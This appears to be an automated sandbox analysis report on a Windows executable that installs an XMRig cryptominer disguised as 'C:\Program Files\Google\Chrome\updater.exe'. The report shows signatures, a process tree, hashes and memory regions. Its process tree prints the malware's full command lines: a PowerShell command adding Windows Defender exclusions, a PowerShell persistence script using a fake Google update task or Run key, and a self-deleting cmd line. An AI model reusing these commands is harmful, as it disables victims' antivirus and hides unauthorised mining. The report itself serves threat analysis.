Resubmissions

10/07/2023, 09:55

230710-lxskxsaf4t 10

31/05/2023, 16:56

230531-vfmssagf4z 10

31/05/2023, 16:50

230531-vcdeyagb66 10

31/05/2023, 16:49

230531-vbs41age81 10

31/05/2023, 16:49

230531-vbraeage8z 10

05/05/2023, 05:31

230505-f72npage67 10

05/05/2023, 05:31

230505-f7zjbsad9z 10

05/05/2023, 05:31

230505-f7wgnsge66 10

05/05/2023, 05:30

230505-f7keeage64 10

04/05/2023, 10:10

230504-l7mgnabe89 10

Analysis

  • max time kernel
    1800s
  • max time network
    1797s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    04/05/2023, 10:10

General

  • Target

    qM5GMXBk6hJE6Y5e.exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 31 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1200
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1276
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:592
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:1772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:564
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:1020
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:1636
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:1708
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1148
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1228
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:1360
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1496
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1492
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:1596
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:920
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1328
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {E30DE718-ADCC-42F5-808F-5ADBB48456B9} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1688
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:696

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Program Files\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • C:\Program Files\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • C:\Program Files\Google\Libs\g.log

          Filesize

          198B

          MD5

          37dd19b2be4fa7635ad6a2f3238c4af1

          SHA1

          e5b2c034636b434faee84e82e3bce3a3d3561943

          SHA256

          8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

          SHA512

          86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3NX9XMTZFXJV9C6VI03P.temp

          Filesize

          7KB

          MD5

          c68d430e8ff4cb528cfccdd0ac46f8fe

          SHA1

          78c3e206c2684bebe897e474cceced686732eccd

          SHA256

          4a1627c77f78fbf57a2df79bc3ef97bbc1d2d5226574fb9f26efbfad9a2c4c42

          SHA512

          b81a6e8676d83db54f099dc32a4205709b2a6be48cd8794ecdc32c4943e19c9edc17d663fa6b95e7a46945762a658755f6b11d36ed9d2b51f4c3133e678175fe

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          c68d430e8ff4cb528cfccdd0ac46f8fe

          SHA1

          78c3e206c2684bebe897e474cceced686732eccd

          SHA256

          4a1627c77f78fbf57a2df79bc3ef97bbc1d2d5226574fb9f26efbfad9a2c4c42

          SHA512

          b81a6e8676d83db54f099dc32a4205709b2a6be48cd8794ecdc32c4943e19c9edc17d663fa6b95e7a46945762a658755f6b11d36ed9d2b51f4c3133e678175fe

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          c68d430e8ff4cb528cfccdd0ac46f8fe

          SHA1

          78c3e206c2684bebe897e474cceced686732eccd

          SHA256

          4a1627c77f78fbf57a2df79bc3ef97bbc1d2d5226574fb9f26efbfad9a2c4c42

          SHA512

          b81a6e8676d83db54f099dc32a4205709b2a6be48cd8794ecdc32c4943e19c9edc17d663fa6b95e7a46945762a658755f6b11d36ed9d2b51f4c3133e678175fe

        • \Program Files\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • memory/564-81-0x00000000026BB000-0x00000000026F2000-memory.dmp

          Filesize

          220KB

        • memory/564-80-0x00000000026B4000-0x00000000026B7000-memory.dmp

          Filesize

          12KB

        • memory/592-68-0x000000001B110000-0x000000001B3F2000-memory.dmp

          Filesize

          2.9MB

        • memory/592-69-0x0000000001F00000-0x0000000001F08000-memory.dmp

          Filesize

          32KB

        • memory/592-70-0x0000000002370000-0x00000000023F0000-memory.dmp

          Filesize

          512KB

        • memory/592-71-0x0000000002370000-0x00000000023F0000-memory.dmp

          Filesize

          512KB

        • memory/592-72-0x0000000002370000-0x00000000023F0000-memory.dmp

          Filesize

          512KB

        • memory/696-99-0x000000013F430000-0x000000013F641000-memory.dmp

          Filesize

          2.1MB

        • memory/696-85-0x000000013F430000-0x000000013F641000-memory.dmp

          Filesize

          2.1MB

        • memory/1148-87-0x0000000001080000-0x0000000001100000-memory.dmp

          Filesize

          512KB

        • memory/1148-88-0x0000000001080000-0x0000000001100000-memory.dmp

          Filesize

          512KB

        • memory/1148-89-0x0000000001084000-0x0000000001087000-memory.dmp

          Filesize

          12KB

        • memory/1148-90-0x000000000108B000-0x00000000010C2000-memory.dmp

          Filesize

          220KB

        • memory/1228-91-0x0000000001304000-0x0000000001307000-memory.dmp

          Filesize

          12KB

        • memory/1228-92-0x000000000130B000-0x0000000001342000-memory.dmp

          Filesize

          220KB

        • memory/1276-62-0x000000000252B000-0x0000000002562000-memory.dmp

          Filesize

          220KB

        • memory/1276-61-0x0000000002524000-0x0000000002527000-memory.dmp

          Filesize

          12KB

        • memory/1276-60-0x00000000022E0000-0x00000000022E8000-memory.dmp

          Filesize

          32KB

        • memory/1276-59-0x000000001B060000-0x000000001B342000-memory.dmp

          Filesize

          2.9MB

        • memory/1328-104-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-124-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-164-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-101-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-162-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-103-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-160-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-106-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-108-0x0000000000B10000-0x0000000000B30000-memory.dmp

          Filesize

          128KB

        • memory/1328-109-0x0000000000C30000-0x0000000000C50000-memory.dmp

          Filesize

          128KB

        • memory/1328-110-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-158-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-112-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-114-0x0000000000C30000-0x0000000000C50000-memory.dmp

          Filesize

          128KB

        • memory/1328-113-0x0000000000B10000-0x0000000000B30000-memory.dmp

          Filesize

          128KB

        • memory/1328-116-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-118-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-120-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-122-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-100-0x0000000000A40000-0x0000000000A60000-memory.dmp

          Filesize

          128KB

        • memory/1328-126-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-128-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-130-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-132-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-134-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-136-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-138-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-140-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-142-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-144-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-146-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-148-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-150-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-152-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-154-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1328-156-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1344-54-0x000000013F380000-0x000000013F591000-memory.dmp

          Filesize

          2.1MB

        • memory/1344-74-0x000000013F380000-0x000000013F591000-memory.dmp

          Filesize

          2.1MB

        • memory/1496-111-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/1496-102-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB